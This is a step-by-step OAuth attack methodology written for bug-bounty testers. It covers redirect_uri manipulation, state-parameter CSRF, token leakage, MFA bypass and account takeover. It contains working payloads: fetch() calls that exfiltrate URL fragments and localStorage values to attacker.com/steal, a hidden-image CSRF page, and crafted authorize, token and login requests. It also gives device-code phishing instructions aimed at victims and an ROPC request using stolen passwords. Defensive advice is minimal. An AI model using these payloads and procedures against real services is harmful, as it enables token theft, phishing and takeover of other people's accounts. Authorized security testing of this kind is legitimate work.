Applications fail to strictly validate the redirect_uri parameter, allowing attackers to redirect authorization codes or tokens to malicious servers they control.
In a 2025 bug bounty engagement, a researcher discovered that manipulating the redirect_uri parameter caused the application to leak complete JWT authentication tokens to an attacker-controlled Burp Collaborator server. This led to full account takeover.
- Burp Suite Professional (with Collaborator)
- Intercepting proxy (Burp Suite, OWASP ZAP)
- Web browser with developer tools
Step 1: Configure Burp Suite proxy to intercept traffic
- Set browser to use Burp proxy (default: 127.0.0.1:8080)
- Ensure intercept is turned ON
Step 2: Trigger the OAuth flow
- Navigate to the application
- Click the "Login with [Provider]" button
- Intercept the authorization request
Step 3: Identify the OAuth parameters Look for a request similar to this:
GET /authorize?
response_type=code&
client_id=3128979333002483118&
redirect_uri=https://support.target.com/callback&
scope=openid%20profile&
state=random_value
Step 4: Modify the redirect_uri parameter
Change the redirect_uri to an external domain you control:
redirect_uri=https://attacker.com
Step 5: Forward the request and observe
- If the request proceeds and you see an authorization page, validation is weak
- If the request is rejected (error page), test less obvious bypasses
Step 6: Test common bypass techniques Try these variations:
# Subdomain abuse
redirect_uri=https://attacker.com.target.com
# Path traversal
redirect_uri=https://target.com/callback/../attacker
# Open redirect chaining
redirect_uri=https://target.com/redirect?url=https://attacker.com
# URL encoding bypass
redirect_uri=https://target.com%252eattacker.com
Step 7: Set up Burp Collaborator
- In Burp Suite, go to Burp Menu -> Burp Collaborator
- Click "Copy to clipboard" to get your unique collaborator URL
- Your URL will look like:
https://xxxxxxxxxxxxx.oastify.com
Step 8: Craft the malicious request
Replace the redirect_uri with your Collaborator URL:
GET /authorize?
response_type=code&
client_id=3128979333002483118&
redirect_uri=https://xxxxxxxxxxxxx.oastify.com&
scope=openid%20profile&
state=test
Step 9: Deliver the malicious link If testing manually:
- Copy the full malicious URL
- Open it in a browser where you're authenticated
- Complete the OAuth consent
Step 10: Monitor Collaborator for data
- Return to Burp Collaborator tab
- Click "Poll now"
- Look for HTTP interactions showing the
codeorid_tokenin the request
Successful exploitation will show:
GET /?code=eyJraWQiOiJ...&state=test
You have successfully exploited this vulnerability when:
- Your Collaborator receives a request containing
codeorid_tokenparameters - You can use that code/token to authenticate as the victim
- The application's logs show no validation errors
- Implement exact string matching for redirect_uri, not prefix matching
- Normalize URIs before comparison
- Never accept user-supplied redirect destinations without strict whitelisting
The state parameter is missing, predictable, or not validated, allowing Cross-Site Request Forgery (CSRF) attacks where an attacker can bind a victim's account to the attacker's identity.
CVE-2024-42476 affected the Nim OAuth library where the state parameter check was completely disabled when compiled with certain flags (-d:danger or --assertions:off). This created a CSRF vulnerability allowing attackers to associate victim sessions with attacker-controlled resources.
- Burp Suite or browser developer tools
- Text editor for crafting proof-of-concept
- Two test accounts (attacker and victim)
Step 1: Complete a normal OAuth flow
- Log in as a test user
- Complete the OAuth authorization
- Capture all requests in Burp Suite
Step 2: Identify state parameter presence
Look for the state parameter in:
- Authorization request (front-channel)
- Callback request (return to application)
Step 3: Test state entropy Check if the state value is:
- Random enough (long string of characters)
- Predictable (timestamp, sequential number, user ID)
- Reused across sessions
Step 4: Remove the state parameter Modify the authorization request:
# Original
GET /authorize?response_type=code&client_id=123&redirect_uri=https://app.com/callback&state=abc123
# Modified - remove state
GET /authorize?response_type=code&client_id=123&redirect_uri=https://app.com/callback
Step 5: Observe the response
- If the flow completes successfully, the application doesn't require state (vulnerable)
- If the request fails with an error, state is properly validated
Step 6: Test state mismatch Complete the flow with a legitimate state, but modify the callback:
# Intercept the callback request
GET /callback?code=AUTH_CODE&state=DIFFERENT_VALUE
Step 7: Check if the mismatch is detected
- If the application accepts the mismatched state, CSRF protection is broken
- If rejected with error, validation is working
Step 8: Craft the CSRF attack (if state is missing or not validated)
<!-- attacker-controlled page -->
<img src="https://target.com/authorize?
response_type=code&
client_id=ATTACKER_CLIENT_ID&
redirect_uri=https://target.com/callback&
scope=openid%20profile"
style="display:none">Step 9: Test the attack scenario
- Log into the victim account
- Visit the attacker's malicious page
- Observe if the victim's session gets bound to attacker's client
You have found a state vulnerability when:
- The application proceeds without any state parameter
- The state parameter is predictable (e.g., "123", current timestamp)
- The callback accepts any state value without verification
OAuth tokens or codes passed in URLs remain in browser history and can leak via the Referer header when the page makes external requests.
CVE-2025-4664 affected Google Chrome where the browser's Loader component failed to enforce referrer policies correctly. A crafted Link header could force Chrome to send full referrer URLs (including OAuth tokens in query strings) to third-party sites.
- Browser developer tools
- Web server or Burp Collaborator
- Browser history viewer
Step 1: Complete OAuth flow while monitoring URL Watch for tokens in:
- URL fragment:
https://app.com/callback#access_token=xxx - URL query:
https://app.com/callback?code=xxx - POST body parameters
Step 2: Check browser history
- Open browser developer tools (F12)
- Navigate to the History tab or check stored URLs
- Look for OAuth parameters in stored URLs
Step 3: Identify external resources in callback page After OAuth completes, check if the callback page loads:
- External images
- Third-party scripts
- Analytics trackers
- CSS files
Step 4: Set up Burp Collaborator
- Generate a Collaborator URL
- Replace external resource URLs with your Collaborator
Step 5: Monitor Referer headers Check if the Collaborator receives requests showing:
Referer: https://app.com/callback?code=SECRET_CODE
Step 6: When tokens are in URL fragment
For implicit flow where access_token is in the fragment (#), note that fragments are not sent to servers. However, they can be stolen via JavaScript.
Step 7: Craft exploit for fragment-based tokens
<!-- Malicious page that captures fragment -->
<script>
if (window.location.hash) {
// Send captured token to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: window.location.hash
});
}
</script>Step 8: Combine with open redirect (from Methodology 1) If the application has an open redirect, chain it:
https://target.com/oauth-callback/../redirect?path=https://attacker.com/exploit
Vulnerability confirmed when:
- OAuth parameters appear in browser history accessible to other tabs
- External requests from callback page include tokens in Referer headers
- JavaScript can access and exfiltrate fragment parameters
OAuth flows that bypass interactive authentication can circumvent Multi-Factor Authentication (MFA) requirements.
ConsentFix Attack (2025-2026): Attackers abuse the OAuth authorization code flow in Microsoft Entra ID by tricking users into providing authorization codes. The attack bypasses Conditional Access policies because the initial sign-in is legitimate, and token redemption occurs from the attacker's environment.
Device Code Phishing (2026): AI-assisted campaigns abuse the OAuth Device Code Authentication flow. When users enter malicious device codes, they unknowingly authorize attacker sessions, granting account access without exposing credentials.
ROPC Flow Abuse: Attackers using stolen credentials can bypass MFA entirely by using the Resource Owner Password Credentials (ROPC) grant, which is non-interactive and has no way to support MFA challenges.
- Postman or curl for API requests
- Browser with developer tools
- Understanding of OAuth grant types
Step 1: Check if token endpoint accepts password grant Send a request to the token endpoint:
POST /token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
grant_type=password&
client_id=KNOWN_PUBLIC_CLIENT&
username=victim@target.com&
password=stolen_password&
scope=openid%20profileStep 2: Analyze response
- If successful, ROPC is enabled (vulnerable)
- If error "unsupported_grant_type", ROPC may be disabled
Step 3: Test MFA bypass
- Use known stolen credentials
- If tokens are returned without MFA challenge, MFA is bypassed
Step 4: Request device code from authorization server
POST /devicecode HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=ATTACKER_CLIENT_ID&
scope=openid%20profile%20offline_accessStep 5: Present device code to victim
- Display the returned
user_codeon a phishing page - Instruct victim to enter code at the legitimate verification URL
Step 6: Monitor for completion
POST /token HTTP/1.1
Host: login.microsoftonline.com
grant_type=urn:ietf:params:oauth:grant-type:device_code&
client_id=ATTACKER_CLIENT_ID&
device_code=DEVICE_CODEStep 7: Receive tokens when victim authenticates Once victim completes verification, the polling request returns access and refresh tokens.
You have successfully bypassed MFA when:
- ROPC grant returns valid tokens without MFA
- Device code flow grants tokens after victim verification
- Tokens allow access to protected resources
Applications use predictable or exposed user identifiers (like Facebook userID) instead of proper tokens for authentication, allowing attackers to hijack accounts.
A researcher found that an application authenticated users using only the Facebook userId (a 16-digit number) sent in a POST request. No additional verification was performed. By obtaining a victim's Facebook userID (via XSS or Facebook API using a stolen token), the attacker could directly log in as the victim.
- Burp Suite for request analysis
- Browser LocalStorage inspector
- Facebook Graph API (or relevant provider API)
Step 1: Complete OAuth login with a provider
- Log in using "Login with Facebook" or "Login with Google"
- Capture all requests in Burp Suite
Step 2: Identify the authentication request Look for a POST request containing OAuth identifiers:
POST /api/login HTTP/1.1
Host: target.com
{
"loginType": "facebook",
"oauthId": "1234567890123456",
"email": "user@example.com",
"name": "User Name"
}Step 3: Test what's actually required Remove parameters one by one to see what's necessary:
// Remove email
{
"loginType": "facebook",
"oauthId": "1234567890123456"
}
// Remove name
{
"loginType": "facebook",
"oauthId": "1234567890123456"
}Step 4: Determine if oauthId alone works
If the request succeeds with only loginType and oauthId, the application is vulnerable.
Step 5: Check where oauthId comes from Common locations:
- Provider's API response
- Browser LocalStorage
- URL parameters
- Response from authorization endpoint
Step 6: Check LocalStorage for tokens/IDs
// In browser console
for (let i = 0; i < localStorage.length; i++) {
let key = localStorage.key(i);
console.log(key, localStorage.getItem(key));
}Step 7: Method A - Via Provider API (if you have victim's token) If you can obtain a victim's access token (via XSS or other means):
GET https://graph.facebook.com/me?fields=id&access_token=VICTIM_TOKENResponse provides the userID used for authentication.
Step 8: Method B - Via XSS on target application If the application has an XSS vulnerability:
// Payload to steal oauthId from localStorage
fetch('https://attacker.com/steal', {
method: 'POST',
body: localStorage.getItem('oauth_identifier')
});Step 9: Use stolen oauthId to authenticate
POST /api/login HTTP/1.1
Host: target.com
{
"loginType": "facebook",
"oauthId": "STOLEN_VICTIM_ID"
}Step 10: Verify session cookies are issued If the response contains valid session cookies for the victim's account, takeover is successful.
Account takeover is confirmed when:
- Using only the victim's oauthId returns valid session tokens
- No additional verification (password, MFA, email confirmation) is required
- You can access the victim's account data
1. Proxy -> Options -> Add proxy listener (127.0.0.1:8080)
2. Target -> Scope -> Add target domain
3. Burp Menu -> Burp Collaborator -> Copy URL
4. Repeater -> Send modified requests
# Test ROPC grant
curl -X POST https://login.target.com/token \
-d "grant_type=password" \
-d "client_id=CLIENT_ID" \
-d "username=user@target.com" \
-d "password=password123" \
-d "scope=openid"
# Test token redemption
curl -X POST https://login.target.com/token \
-d "grant_type=authorization_code" \
-d "code=AUTH_CODE" \
-d "redirect_uri=https://target.com/callback" \
-d "client_id=CLIENT_ID" \
-d "client_secret=SECRET"
# Test token validation
curl -X GET https://api.target.com/userinfo \
-H "Authorization: Bearer ACCESS_TOKEN"// Check localStorage for tokens
Object.keys(localStorage).forEach(key => {
if(key.includes('token') || key.includes('oauth')) {
console.log(key, localStorage.getItem(key));
}
});
// Check sessionStorage
Object.keys(sessionStorage).forEach(key => {
if(key.includes('token') || key.includes('oauth')) {
console.log(key, sessionStorage.getItem(key));
}
});
// Monitor network requests for OAuth parameters
const originalFetch = window.fetch;
window.fetch = function() {
console.log('Fetch:', arguments[0]);
return originalFetch.apply(this, arguments);
};- [1] ConsentFix OAuth phishing attack analysis, Mitiga Security, March 2026
- [2] OAuth redirect_uri manipulation leading to JWT theft, InfoSec Write-ups, April 2025
- [3] CVE-2024-42476 - Nim OAuth library CSRF vulnerability, NIST NVD, August 2024
- [4] CVE-2025-4664 - Chrome referrer leak vulnerability, Fidelis Security, November 2025
- [5] AI-enabled device code phishing campaign, Help Net Security, April 2026
- [6] ROPC MFA bypass technical analysis, Varonis, December 2025
- [7] Burp Suite OAuth lab - token theft via open redirect, CSDN, December 2025
- [8] CVE-2024-42476 - OAuth state parameter CSRF, Feedly, August 2024
- [9] OAuth 2.0 authorization server vulnerabilities, Manning Publications
- [10] OAuth and forgot password account takeover, Bugcrowd, December 2024